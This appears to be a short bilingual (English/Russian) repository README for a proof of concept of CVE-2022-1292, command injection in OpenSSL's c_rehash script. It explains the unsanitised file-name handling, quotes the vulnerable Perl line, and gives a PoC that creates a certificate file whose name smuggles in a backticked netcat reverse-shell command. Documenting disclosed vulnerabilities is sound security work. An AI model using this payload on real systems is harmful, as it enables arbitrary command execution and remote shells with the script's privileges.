alcaparra/cve-2022-1292CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
Внедрение команд происходит из-за того, что имена файлов не обрабатываются должным образом:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;Эта часть скрипта уязвима, так как закрытие обратных кавычек позволяет выполнять команды. Например, файл с именем MyCert.crt`whoami` выполнит команду "whoami".
/etc/ssl/certs/ (по умолчанию) или в другие пути, настроенные в update-ca-certificatesecho "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc в качестве примера полезной нагрузки)c_rehash .